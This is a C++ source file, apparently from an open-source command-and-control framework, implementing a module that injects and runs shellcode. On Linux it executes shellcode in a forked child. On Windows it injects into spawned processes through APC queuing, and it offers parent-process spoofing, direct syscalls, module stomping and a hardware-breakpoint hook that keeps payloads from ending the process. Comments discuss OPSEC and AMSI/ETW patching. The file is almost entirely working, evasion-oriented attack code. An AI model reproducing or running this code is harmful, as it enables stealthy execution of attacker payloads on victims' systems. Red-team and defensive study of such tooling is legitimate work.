Files
maxDcb-C2Core/modules/AssemblyExec/AssemblyExec.cpp
T
Maxime dcb 108a370807 CommandSpecs & Tests
* CommandSpecs

* CommandSpecs

* feat(command-specs): add simple module specs

* listModule

* AssemblyExec

* AssemblyExecTests

* Minor

* Inject

* InjectTests

* Spec modules

* Folder layout

* upload & download

* Chisel Minidump Powershell & Script

* CoffLoader DotnetExec /KerberosUseTicket PsExec PwSh ScreenShot

* add artifact_filters

* Minor

* stabilisation

* Fixes

* manual test

* manual test

* manual test

* manual test

* manual test

* manual test

* manual test

* manual test

* ScreenShot png

* socks5 hostname

* Maj for AI

* minor
2026-05-10 21:28:40 +02:00

1014 lines
32 KiB
C++

#include "AssemblyExec.hpp"
#include <cstring>
#include <iterator>
#include <sstream>
#include <chrono>
#include <thread>
#include "AssemblyExecCommandOptions.hpp"
#include "Common.hpp"
#include "Tools.hpp"
#ifdef __linux__
#include <sys/mman.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <sstream>
#include <unistd.h>
#include <fcntl.h>
#elif _WIN32
#include <io.h>
#include <fcntl.h>
#include <peb.hpp>
#include <hwbp.hpp>
#include <syscall.hpp>
#endif
#define BUFSIZE 512
// Max duration of the shellcode execution befor it's killed
const int maxDurationShellCode=120;
using namespace std;
// Compute hash of moduleName at compile time, so the moduleName string don't show in the binary
constexpr std::string_view moduleName = "assemblyExec";
constexpr unsigned long long moduleHash = djb2(moduleName);
namespace
{
constexpr int ERROR_PROCESS_CREATION = 1;
}
#define modeThread "0"
#define modeProcess "1"
#define modeprocessWithSpoofedParent "2"
#ifdef _WIN32
__declspec(dllexport) AssemblyExec* A_AssemblyExecConstructor()
{
return new AssemblyExec();
}
#else
__attribute__((visibility("default"))) AssemblyExec* AssemblyExecConstructor()
{
return new AssemblyExec();
}
#endif
AssemblyExec::AssemblyExec()
#ifdef BUILD_TEAMSERVER
: ModuleCmd(std::string(moduleName), moduleHash)
#else
: ModuleCmd("", moduleHash)
#endif
{
m_processToSpawn="";
m_spoofedParent="";
m_useSyscall=false;
m_isModeProcess = true;
m_isSpoofParent = false;
}
AssemblyExec::~AssemblyExec()
{
}
std::string AssemblyExec::getInfo()
{
std::string info;
#ifdef BUILD_TEAMSERVER
info += "AssemblyExec Module:\n";
info += "Execute shellcode in a remote process (e.g., notepad.exe). Waits for execution to complete or until a 120-second timeout.\n";
info += "Captures and returns any output produced by the shellcode.\n";
info += "\nOptions:\n";
info += " --mode <mode> --raw <file> Execute raw shellcode.\n";
info += " --mode <mode> --donut-exe <exe> -- [args] Execute Donut-generated shellcode from a .NET executable.\n";
info += " --mode <mode> --donut-dll <dll> --method <method> -- [args]\n";
info += " Execute Donut-generated shellcode from a .NET DLL.\n";
info += "\nModes:\n";
info += " thread Inject and execute in a new thread\n";
info += " process Inject into a newly spawned process\n";
info += " processWithSpoofedParent Same as above, but with spoofed parent process\n";
info += "\nExamples:\n";
info += " - assemblyExec --mode process --raw ./shellcode.bin\n";
info += " - assemblyExec --mode thread --donut-exe ./Seatbelt.exe -- -group=system\n";
info += " - assemblyExec --mode process --donut-dll ./test.dll --method MethodName -- arg1 arg2\n";
#endif
return info;
}
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
namespace
{
std::string modeWireValue(const std::string& mode)
{
const std::string normalized = assembly_exec_command::normalizeModeName(mode);
if (normalized == "thread")
return modeThread;
if (normalized == "processWithSpoofedParent")
return modeprocessWithSpoofedParent;
return modeProcess;
}
std::string readBinaryFile(const std::string& path)
{
std::ifstream input(path, std::ios::binary);
return std::string(std::istreambuf_iterator<char>(input), std::istreambuf_iterator<char>());
}
} // namespace
int AssemblyExec::initPreparedShellcode(const ModulePreparedShellcodeTask& task, C2Message& c2Message)
{
if (task.payload.empty())
{
c2Message.set_returnvalue("Shellcode payload is empty.");
return -1;
}
std::string requestedMode = task.executionMode;
if (requestedMode.empty())
{
if (!m_isModeProcess)
requestedMode = "thread";
else if (m_isSpoofParent)
requestedMode = "processWithSpoofedParent";
else
requestedMode = "process";
}
const std::string mode = assembly_exec_command::normalizeModeName(requestedMode);
if (mode.empty())
{
c2Message.set_returnvalue("Unsupported execution mode.");
return -1;
}
c2Message.set_args(modeWireValue(mode));
c2Message.set_pid(-1);
c2Message.set_cmd(task.displayCommand);
c2Message.set_instruction(std::string(moduleName));
c2Message.set_inputfile(task.inputFile);
c2Message.set_data(task.payload.data(), task.payload.size());
return 0;
}
#endif
int AssemblyExec::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
{
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
assembly_exec_command::CommandOptions options = assembly_exec_command::parseCommandOptions(splitedCmd);
if (!options.error.empty())
{
c2Message.set_returnvalue(options.error + "\n");
return -1;
}
if(options.modeOnly)
{
if(options.mode=="thread")
{
m_isModeProcess = false;
c2Message.set_returnvalue("thread mode.\n");
return -1;
}
if(options.mode=="process")
{
m_isModeProcess = true;
m_isSpoofParent = false;
c2Message.set_returnvalue("process mode.\n");
return -1;
}
if(options.mode=="processWithSpoofedParent")
{
m_isModeProcess = true;
m_isSpoofParent = true;
c2Message.set_returnvalue("process mode with parent spoofing.\n");
return -1;
}
}
if (options.generator != "raw")
{
c2Message.set_returnvalue("Donut shellcode generation is handled by the TeamServer shellcode service.\n");
return -1;
}
std::string inputFile = options.sourcePath;
std::ifstream myfile(inputFile, std::ios::binary);
if(!myfile)
{
std::string newInputFile=m_toolsDirectoryPath;
newInputFile+=inputFile;
myfile.open(newInputFile, std::ios::binary);
inputFile=newInputFile;
}
if(!myfile)
{
c2Message.set_returnvalue("Couldn't open file.\n");
return -1;
}
myfile.close();
ModulePreparedShellcodeTask task;
task.inputFile = inputFile;
task.payload = readBinaryFile(inputFile);
task.executionMode = options.mode;
task.displayCommand = options.displayCommand;
return initPreparedShellcode(task, c2Message);
#endif
return 0;
}
int AssemblyExec::initConfig(const nlohmann::json &config)
{
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
for (auto& it : config.items())
{
if(it.key()=="process")
m_processToSpawn = it.value();
else if(it.key()=="syscall")
m_useSyscall = true;
else if(it.key()=="isModeProcess")
m_isModeProcess = (bool)it.value();
else if(it.key()=="spoofedParent")
{
m_isSpoofParent = true;
m_spoofedParent = it.value();
}
}
#endif
return 0;
}
int AssemblyExec::process(C2Message &c2Message, C2Message &c2RetMessage)
{
std::string mode = c2Message.args();
if(!mode.empty())
{
if(mode==modeThread)
m_isModeProcess = false;
else if(mode==modeProcess)
{
m_isModeProcess = true;
m_isSpoofParent = false;
}
else if(mode==modeprocessWithSpoofedParent)
{
m_isModeProcess = true;
m_isSpoofParent = true;
}
}
const std::string payload = c2Message.data();
std::string result;
#ifdef __linux__
whateverLinux(payload, result);
#elif _WIN32
std::string processToSpawn="notepad.exe";
std::string spoofedParent="explorer.exe";
if(!m_processToSpawn.empty())
processToSpawn=m_processToSpawn;
if(!m_spoofedParent.empty())
spoofedParent=m_spoofedParent;
int executionStatus = 0;
if(m_isModeProcess && !m_isSpoofParent)
executionStatus = createNewProcess(payload, processToSpawn, result);
else if(m_isModeProcess && m_isSpoofParent)
executionStatus = createNewProcessWithSpoofedParent(payload, processToSpawn, spoofedParent, result);
else
executionStatus = createNewThread(payload, result);
#endif
c2RetMessage.set_instruction(c2RetMessage.instruction());
c2RetMessage.set_cmd(c2Message.cmd());
#ifdef _WIN32
if (executionStatus != 0)
{
if (result.empty())
{
result = "Error: Process failed to start.\n";
}
c2RetMessage.set_errorCode(ERROR_PROCESS_CREATION);
}
#endif
c2RetMessage.set_returnvalue(result);
return 0;
}
int AssemblyExec::errorCodeToMsg(const C2Message &c2RetMessage, std::string &errorMsg)
{
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
if (c2RetMessage.errorCode() > 0)
{
errorMsg = c2RetMessage.returnvalue();
}
#endif
return 0;
}
#ifdef __linux__
int AssemblyExec::whateverLinux(const std::string& payload, std::string& result)
{
if(1)
{
pid_t pid = 0;
int pipefd[2];
int ret = pipe(pipefd); //create a pipe
pid = fork(); //spawn a child process
if (pid == 0)
{
// Child. redirect std output to pipe, launch process
close(pipefd[0]);
dup2(pipefd[1], STDOUT_FILENO);
void *page = mmap(NULL, payload.size(), PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
memcpy(page, payload.data(), payload.size());
mprotect(page, payload.size(), PROT_READ|PROT_EXEC);
((void(*)())page)();
exit(0);
}
pid_t child_process_pid = pid;
int child_process_output_fd = pipefd[0];
//Only parent gets here. make tail nonblocking.
close(pipefd[1]);
fcntl(pipefd[0], F_SETFL, fcntl(pipefd[0], F_GETFL) | O_NONBLOCK);
std::chrono::steady_clock::time_point begin = std::chrono::steady_clock::now();
while(1)
{
int status;
pid_t endID=waitpid(child_process_pid, &status, WNOHANG);
if (endID == -1)
break;
else if (endID == 0)
{
std::chrono::steady_clock::time_point now = std::chrono::steady_clock::now();
auto elapse = std::chrono::duration_cast<std::chrono::seconds>(now - begin).count();
if(elapse>=maxDurationShellCode)
{
kill(pid, SIGKILL);
break;
}
else
sleep(1);
}
}
char buf[1000];
int nbBytes=1;
while(nbBytes)
{
nbBytes = read(child_process_output_fd, buf, 1000);
if(nbBytes)
result+=buf;
}
}
if(0)
{
// inject in an other thread -> work but i cannot get the output
streambuf* oldCoutStreamBuf = cout.rdbuf();
ostringstream strCout;
cout.rdbuf( strCout.rdbuf() );
std::thread t1(execShellCode, payload);
if(t1.joinable())
t1.join();
cout.rdbuf( oldCoutStreamBuf );
cout << strCout.str();
}
if(0)
{
// inject here -> work but terminate the process
void *page = mmap(NULL, payload.size(), PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
memcpy(page, payload.data(), payload.size());
mprotect(page, payload.size(), PROT_READ|PROT_EXEC);
((void(*)())page)();
}
return 0;
}
#elif _WIN32
LONG WINAPI handlerRtlExitUserProcess(EXCEPTION_POINTERS* ExceptionInfo)
{
if (EXCEPTION_CODE(ExceptionInfo) != HWBP_EXCEPTION_CODE)
return EXCEPTION_CONTINUE_SEARCH;
BYTE* baseAddress = (BYTE*)xGetProcAddress(
xGetLibAddress((PCHAR)"ntdll.dll", TRUE, NULL),
(PCHAR)"RtlExitUserProcess",
0
);
if (!baseAddress)
return EXCEPTION_CONTINUE_SEARCH;
void* exitThread = (void*)GetProcAddress(
GetModuleHandleA("kernel32.dll"),
"ExitThread"
);
if (!exitThread)
return EXCEPTION_CONTINUE_SEARCH;
#if defined(_M_X64)
if (EXCEPTION_HIT_ADDRESS(ExceptionInfo, baseAddress))
{
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // RF
ExceptionInfo->ContextRecord->Rip = (DWORD64)exitThread;
return EXCEPTION_CONTINUE_EXECUTION;
}
#elif defined(_M_IX86)
if (EXCEPTION_HIT_ADDRESS(ExceptionInfo, baseAddress))
{
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // RF
ExceptionInfo->ContextRecord->Eip = (DWORD)exitThread;
return EXCEPTION_CONTINUE_EXECUTION;
}
#elif defined(_M_ARM64)
if (EXCEPTION_HIT_ADDRESS(ExceptionInfo, baseAddress))
{
/*
ARM64:
- No Rip/Eip
- No EFlags/RF
- Instruction pointer is Pc
*/
ExceptionInfo->ContextRecord->Pc = (DWORD64)exitThread;
return EXCEPTION_CONTINUE_EXECUTION;
}
#else
#error Unsupported architecture
#endif
return EXCEPTION_CONTINUE_SEARCH;
}
// Create new thread to run the shellcode, the memory use to inject the payload is taken from a DLL (Module Stomping)
// loaded specialy for this purpose. It avoid to use VirtualAlloc.
int AssemblyExec::createNewThread(const std::string& payload, std::string& result)
{
StdCapture stdCapture;
stdCapture.BeginCapture();
char * ptr;
// Module stomping
bool isModuleStomping = false;
if(isModuleStomping)
{
unsigned char sLib[] = "HologramWorld.dll";
HMODULE hVictimLib = LoadLibrary((LPCSTR) sLib);
ptr = (char *) hVictimLib + 2*4096 + 12;
DWORD oldprotect = 0;
VirtualProtect((char *) ptr, payload.size() + 4096, PAGE_READWRITE, &oldprotect);
RtlMoveMemory(ptr, (void *)payload.data(), payload.size());
VirtualProtect((char *) ptr, payload.size() + 4096, PAGE_EXECUTE_READ, &oldprotect);
}
else
{
DWORD oldprotect = 0;
ptr = (char *) VirtualAlloc(NULL, payload.size()+4096, MEM_COMMIT, PAGE_READWRITE);
RtlMoveMemory(ptr, (void *)payload.data(), payload.size());
VirtualProtect((char *) ptr, payload.size() + 4096, PAGE_EXECUTE_READ, &oldprotect);
}
HANDLE thread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) ptr, NULL, CREATE_SUSPENDED, 0);
if (thread == NULL)
{
stdCapture.EndCapture();
result += "Error: Thread failed to start.\n";
return -1;
}
BYTE* baseAddress = (BYTE*)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlExitUserProcess");
HANDLE phHwBpHandler;
int indexHWBP = 0;
if (baseAddress != NULL)
set_hwbp(thread, baseAddress, handlerRtlExitUserProcess, indexHWBP, &phHwBpHandler);
ResumeThread(thread);
DWORD waitStatus = WAIT_TIMEOUT;
const auto begin = std::chrono::steady_clock::now();
for (;;)
{
waitStatus = WaitForSingleObject(thread, 50);
stdCapture.DrainCapture();
if (waitStatus != WAIT_TIMEOUT)
break;
const auto now = std::chrono::steady_clock::now();
const auto elapsed = std::chrono::duration_cast<std::chrono::seconds>(now - begin).count();
if (elapsed >= maxDurationShellCode)
break;
}
stdCapture.EndCapture();
const std::string capturedOutput = stdCapture.GetCapture();
if (!capturedOutput.empty())
{
result += "Stdout:\n";
result += capturedOutput;
result += "\n";
}
if (waitStatus == WAIT_FAILED)
{
result += "Error: Thread wait failed.\n";
if (thread != NULL)
CloseHandle(thread);
return -1;
}
if (waitStatus == WAIT_TIMEOUT)
{
result += "Error: Thread execution timed out.\n";
if (thread != NULL)
CloseHandle(thread);
return -1;
}
if (thread != NULL)
CloseHandle(thread);
return 0;
}
// OPSEC function to switch to syscall
// OPSEC patch etw et amsi
// difficulte to do with the fact that we create the thread suspended and so the lib are not loaded yet.
// OPSEC function to choose the process to inject to
DWORD GetPidByName(const char * pName)
{
PROCESSENTRY32 pEntry;
HANDLE snapshot;
pEntry.dwSize = sizeof(PROCESSENTRY32);
snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (Process32First(snapshot, &pEntry) == TRUE)
{
while (Process32Next(snapshot, &pEntry) == TRUE)
{
if (_stricmp(pEntry.szExeFile, pName) == 0)
{
return pEntry.th32ProcessID;
}
}
}
CloseHandle(snapshot);
return 0;
}
// Create a new process in suspended mode to run the shellcode.
int AssemblyExec::createNewProcessWithSpoofedParent(const std::string& payload, const std::string& processToSpawn, const std::string& spoofedParent, std::string& result)
{
// Init handles
HANDLE hChildStdOutRd = NULL;
HANDLE hChildStdOutWr = NULL;
HANDLE hChildStdErrRd = NULL;
HANDLE hChildStdErrWr = NULL;
HANDLE hParentStdOutWr = NULL;
HANDLE hParentStdErrWr = NULL;
// Set the bInheritHandle flag so pipe handles are inherited.
SECURITY_ATTRIBUTES sa;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;
CreatePipe(&hChildStdErrRd, &hChildStdErrWr, &sa, 0);
SetHandleInformation(hChildStdErrRd, HANDLE_FLAG_INHERIT, 0);
// std::string pipeStdErr = "\\\\.\\pipe\\error";
// int bufferSize = 512;
// hChildStdErrRd = CreateNamedPipeA(pipeStdErr.c_str(), PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE, PIPE_UNLIMITED_INSTANCES, bufferSize, bufferSize, 0, &sa);
// hChildStdErrWr = CreateFileA(pipeStdErr.c_str(), GENERIC_READ | GENERIC_WRITE, 0, &sa, OPEN_EXISTING, 0, NULL);
// hChildStdErrWr = CreateFile("C:\\Users\\CyberVuln\\Desktop\\err.log", FILE_APPEND_DATA, FILE_SHARE_WRITE | FILE_SHARE_READ, &sa, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL );
CreatePipe(&hChildStdOutRd, &hChildStdOutWr, &sa, 0);
SetHandleInformation(hChildStdOutRd, HANDLE_FLAG_INHERIT, 0);
// std::string pipeStdOut = "\\\\.\\pipe\\output";
// hChildStdOutRd = CreateNamedPipeA(pipeStdOut.c_str(), PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE, PIPE_UNLIMITED_INSTANCES, bufferSize, bufferSize, 0, &sa);
// hChildStdOutWr = CreateFileA(pipeStdOut.c_str(), GENERIC_READ | GENERIC_WRITE, 0, &sa, OPEN_EXISTING, 0, NULL);
// Prepare the parent child spoofing
DWORD dwPid = 0;
dwPid = GetPidByName(spoofedParent.c_str());
if (dwPid == 0)
dwPid = GetCurrentProcessId();
HANDLE hParentProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
if (!hParentProcess)
{
// result += "Error: Failed to open parent process." << GetLastError() << "\n";
return 0;
}
// Duplicate handles to the spoofed parent process
BOOL res = DuplicateHandle(GetCurrentProcess(), hChildStdOutWr, hParentProcess, &hParentStdOutWr, 0, TRUE, DUPLICATE_SAME_ACCESS);
res = DuplicateHandle(GetCurrentProcess(), hChildStdErrWr, hParentProcess, &hParentStdErrWr, 0, TRUE, DUPLICATE_SAME_ACCESS);
// Set up members of the STARTUPINFOEX structure to specifies the STDERR and STDOUT handles for redirection.
STARTUPINFOEX siStartInfo = {};
siStartInfo.StartupInfo.cb = sizeof(STARTUPINFOEX);
siStartInfo.StartupInfo.hStdError = hParentStdErrWr;
siStartInfo.StartupInfo.hStdOutput = hParentStdOutWr;
siStartInfo.StartupInfo.dwFlags |= STARTF_USESTDHANDLES;
// Set up attributeList to set up the parent process
SIZE_T attributeListSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attributeListSize);
PPROC_THREAD_ATTRIBUTE_LIST attributeList = (PPROC_THREAD_ATTRIBUTE_LIST )HeapAlloc(GetProcessHeap(), 0, attributeListSize);
if (!attributeList)
{
// result += "Error: Failed to allocate memory for attribute list." << GetLastError() << "\n";
CloseHandle(hChildStdErrWr);
CloseHandle(hChildStdOutWr);
CloseHandle(hChildStdErrRd);
CloseHandle(hChildStdOutRd);
DuplicateHandle(hParentProcess, hParentStdOutWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE);
DuplicateHandle(hParentProcess, hParentStdErrWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE);
CloseHandle(hParentProcess);
return 0;
}
if (!InitializeProcThreadAttributeList(attributeList, 1, 0, &attributeListSize))
{
// result += "Error: Failed to initialize attribute list." << GetLastError() << "\n";
HeapFree(GetProcessHeap(), 0, attributeList);
CloseHandle(hChildStdErrWr);
CloseHandle(hChildStdOutWr);
CloseHandle(hChildStdErrRd);
CloseHandle(hChildStdOutRd);
DuplicateHandle(hParentProcess, hParentStdOutWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE);
DuplicateHandle(hParentProcess, hParentStdErrWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE);
CloseHandle(hParentProcess);
return 0;
}
if (!UpdateProcThreadAttribute(attributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParentProcess, sizeof(HANDLE), NULL, NULL))
{
// result += "Error: Failed to set parent process attribute." << GetLastError() << "\n";
DeleteProcThreadAttributeList(attributeList);
HeapFree(GetProcessHeap(), 0, attributeList);
CloseHandle(hChildStdErrWr);
CloseHandle(hChildStdOutWr);
CloseHandle(hChildStdErrRd);
CloseHandle(hChildStdOutRd);
DuplicateHandle(hParentProcess, hParentStdOutWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE);
DuplicateHandle(hParentProcess, hParentStdErrWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE);
CloseHandle(hParentProcess);
return 0;
}
siStartInfo.lpAttributeList = attributeList;
// Create the child process
PROCESS_INFORMATION piProcInfo;
ZeroMemory( &piProcInfo, sizeof(PROCESS_INFORMATION) );
bool bSuccess = CreateProcessA(NULL, const_cast<LPSTR>(processToSpawn.c_str()), NULL, NULL, TRUE, CREATE_SUSPENDED | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &siStartInfo.StartupInfo, &piProcInfo);
DeleteProcThreadAttributeList(attributeList);
HeapFree(GetProcessHeap(), 0, attributeList);
// If an error occurs, exit the application.
if ( ! bSuccess )
{
CloseHandle(hChildStdErrWr);
CloseHandle(hChildStdOutWr);
CloseHandle(hChildStdErrRd);
CloseHandle(hChildStdOutRd);
DuplicateHandle(hParentProcess, hParentStdOutWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE);
DuplicateHandle(hParentProcess, hParentStdErrWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE);
CloseHandle(hParentProcess);
// result += "Error: Process failed to start." << GetLastError() << "\n";
return -1;
}
PVOID remoteBuffer;
if(m_useSyscall)
{
// https://github.com/0xrob/XOR-Shellcode-QueueUserAPC-Syscall/blob/main/queueUserAPC-XOR/Source.cpp
SIZE_T sizeToAlloc = payload.size();
remoteBuffer=NULL;
Sw3NtAllocateVirtualMemory_(piProcInfo.hProcess, &remoteBuffer, 0, &sizeToAlloc, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
SIZE_T NumberOfBytesWritten;
Sw3NtWriteVirtualMemory_(piProcInfo.hProcess, remoteBuffer, (PVOID)payload.data(), payload.size(), &NumberOfBytesWritten);
ULONG oldAccess;
Sw3NtProtectVirtualMemory_(piProcInfo.hProcess, &remoteBuffer, &sizeToAlloc, PAGE_EXECUTE_READ, &oldAccess);
Sw3NtQueueApcThread_(piProcInfo.hThread, (PIO_APC_ROUTINE)remoteBuffer, remoteBuffer, (PIO_STATUS_BLOCK)NULL, NULL);
Sw3NtResumeThread_(piProcInfo.hThread, (PULONG)NULL);
}
else
{
remoteBuffer = VirtualAllocEx(piProcInfo.hProcess, NULL, payload.size(), (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE);
WriteProcessMemory(piProcInfo.hProcess, remoteBuffer, payload.data(), payload.size(), NULL);
DWORD oldprotect = 0;
VirtualProtectEx(piProcInfo.hProcess, remoteBuffer, payload.size(), PAGE_EXECUTE_READ, &oldprotect);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)remoteBuffer;
QueueUserAPC((PAPCFUNC)apcRoutine, piProcInfo.hThread, NULL);
ResumeThread(piProcInfo.hThread);
}
m_isProcessRuning=true;
m_processHandle = piProcInfo.hProcess;
std::thread thread([this] { killProcess(); });
DWORD dwRead;
CHAR chBuf[BUFSIZE];
bSuccess = FALSE;
std::string out = "";
std::string err = "";
for (;;)
{
DWORD bytesAvailableOut = 0;
if (PeekNamedPipe(hChildStdOutRd, NULL, 0, NULL, &bytesAvailableOut, NULL) && bytesAvailableOut > 0)
{
bSuccess=ReadFile( hChildStdOutRd, chBuf, BUFSIZE, &dwRead, NULL);
if( ! bSuccess || dwRead == 0 )
break;
std::string s(chBuf, dwRead);
out += s;
}
DWORD bytesAvailableErr = 0;
if (PeekNamedPipe(hChildStdErrRd, NULL, 0, NULL, &bytesAvailableErr, NULL) && bytesAvailableErr > 0)
{
bSuccess=ReadFile( hChildStdErrRd, chBuf, BUFSIZE, &dwRead, NULL);
if( ! bSuccess || dwRead == 0 )
break;
std::string s(chBuf, dwRead);
err += s;
}
DWORD exitCode;
if (GetExitCodeProcess(piProcInfo.hProcess, &exitCode) && exitCode != STILL_ACTIVE && bytesAvailableOut==0 && bytesAvailableErr==0)
break;
std::this_thread::sleep_for(std::chrono::milliseconds(5));
}
m_isProcessRuning = false;
CloseHandle(hChildStdErrWr);
CloseHandle(hChildStdOutWr);
DuplicateHandle(hParentProcess, hParentStdOutWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE);
DuplicateHandle(hParentProcess, hParentStdErrWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE);
CloseHandle(hChildStdErrRd);
CloseHandle(hChildStdOutRd);
CloseHandle(hParentProcess);
thread.join();
result += "Stdout:\n";
result += out;
result += "\n";
if(!err.empty())
{
result += "Stderr:\n";
result += err;
result += "\n";
}
CloseHandle(piProcInfo.hProcess);
CloseHandle(piProcInfo.hThread);
return 0;
}
int AssemblyExec::createNewProcess(const std::string& payload, const std::string& processToSpawn, std::string& result)
{
HANDLE hChildStdOutRd = NULL;
HANDLE hChildStdOutWr = NULL;
HANDLE hChildStdErrRd = NULL;
HANDLE hChildStdErrWr = NULL;
SECURITY_ATTRIBUTES sa;
// Set the bInheritHandle flag so pipe handles are inherited.
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;
CreatePipe(&hChildStdErrRd, &hChildStdErrWr, &sa, 0);
SetHandleInformation(hChildStdErrRd, HANDLE_FLAG_INHERIT, 0);
CreatePipe(&hChildStdOutRd, &hChildStdOutWr, &sa, 0);
SetHandleInformation(hChildStdOutRd, HANDLE_FLAG_INHERIT, 0);
// Create the child process.
PROCESS_INFORMATION piProcInfo;
STARTUPINFO siStartInfo;
bool bSuccess = FALSE;
// Set up members of the PROCESS_INFORMATION structure.
ZeroMemory( &piProcInfo, sizeof(PROCESS_INFORMATION) );
// Set up members of the STARTUPINFO structure.
// This structure specifies the STDERR and STDOUT handles for redirection.
ZeroMemory( &siStartInfo, sizeof(STARTUPINFO) );
siStartInfo.cb = sizeof(STARTUPINFO);
siStartInfo.hStdError = hChildStdErrWr;
siStartInfo.hStdOutput = hChildStdOutWr;
siStartInfo.dwFlags |= STARTF_USESTDHANDLES;
// Create the child process.
bSuccess = CreateProcess(NULL, const_cast<LPSTR>(processToSpawn.c_str()), NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, &siStartInfo, &piProcInfo);
CloseHandle(hChildStdErrWr);
CloseHandle(hChildStdOutWr);
// If an error occurs, exit the application.
if ( ! bSuccess )
{
result += "Error: Process failed to start.\n";
return -1;
}
PVOID remoteBuffer;
if(m_useSyscall)
{
// https://github.com/0xrob/XOR-Shellcode-QueueUserAPC-Syscall/blob/main/queueUserAPC-XOR/Source.cpp
SIZE_T sizeToAlloc = payload.size();
remoteBuffer=NULL;
Sw3NtAllocateVirtualMemory_(piProcInfo.hProcess, &remoteBuffer, 0, &sizeToAlloc, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
SIZE_T NumberOfBytesWritten;
Sw3NtWriteVirtualMemory_(piProcInfo.hProcess, remoteBuffer, (PVOID)payload.data(), payload.size(), &NumberOfBytesWritten);
ULONG oldAccess;
Sw3NtProtectVirtualMemory_(piProcInfo.hProcess, &remoteBuffer, &sizeToAlloc, PAGE_EXECUTE_READ, &oldAccess);
Sw3NtQueueApcThread_(piProcInfo.hThread, (PIO_APC_ROUTINE)remoteBuffer, remoteBuffer, (PIO_STATUS_BLOCK)NULL, NULL);
Sw3NtResumeThread_(piProcInfo.hThread, (PULONG)NULL);
}
else
{
remoteBuffer = VirtualAllocEx(piProcInfo.hProcess, NULL, payload.size(), (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE);
WriteProcessMemory(piProcInfo.hProcess, remoteBuffer, payload.data(), payload.size(), NULL);
DWORD oldprotect = 0;
VirtualProtectEx(piProcInfo.hProcess, remoteBuffer, payload.size(), PAGE_EXECUTE_READ, &oldprotect);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)remoteBuffer;
QueueUserAPC((PAPCFUNC)apcRoutine, piProcInfo.hThread, NULL);
ResumeThread(piProcInfo.hThread);
}
m_isProcessRuning=true;
m_processHandle = piProcInfo.hProcess;
std::thread thread([this] { killProcess(); });
DWORD dwRead;
CHAR chBuf[BUFSIZE];
bSuccess = FALSE;
std::string out = "";
std::string err = "";
for (;;)
{
DWORD bytesAvailableOut = 0;
if (PeekNamedPipe(hChildStdOutRd, NULL, 0, NULL, &bytesAvailableOut, NULL) && bytesAvailableOut > 0)
{
bSuccess=ReadFile( hChildStdOutRd, chBuf, BUFSIZE, &dwRead, NULL);
if( ! bSuccess || dwRead == 0 )
break;
std::string s(chBuf, dwRead);
out += s;
}
DWORD bytesAvailableErr = 0;
if (PeekNamedPipe(hChildStdErrRd, NULL, 0, NULL, &bytesAvailableErr, NULL) && bytesAvailableErr > 0)
{
bSuccess=ReadFile( hChildStdErrRd, chBuf, BUFSIZE, &dwRead, NULL);
if( ! bSuccess || dwRead == 0 )
break;
std::string s(chBuf, dwRead);
err += s;
}
DWORD exitCode;
if (GetExitCodeProcess(piProcInfo.hProcess, &exitCode) && exitCode != STILL_ACTIVE && bytesAvailableOut==0 && bytesAvailableErr==0)
break;
std::this_thread::sleep_for(std::chrono::milliseconds(5));
}
m_isProcessRuning = false;
CloseHandle(hChildStdErrRd);
CloseHandle(hChildStdOutRd);
thread.join();
result += "Stdout:\n";
result += out;
result += "\n";
if(!err.empty())
{
result += "Stderr:\n";
result += err;
result += "\n";
}
CloseHandle(piProcInfo.hProcess);
CloseHandle(piProcInfo.hThread);
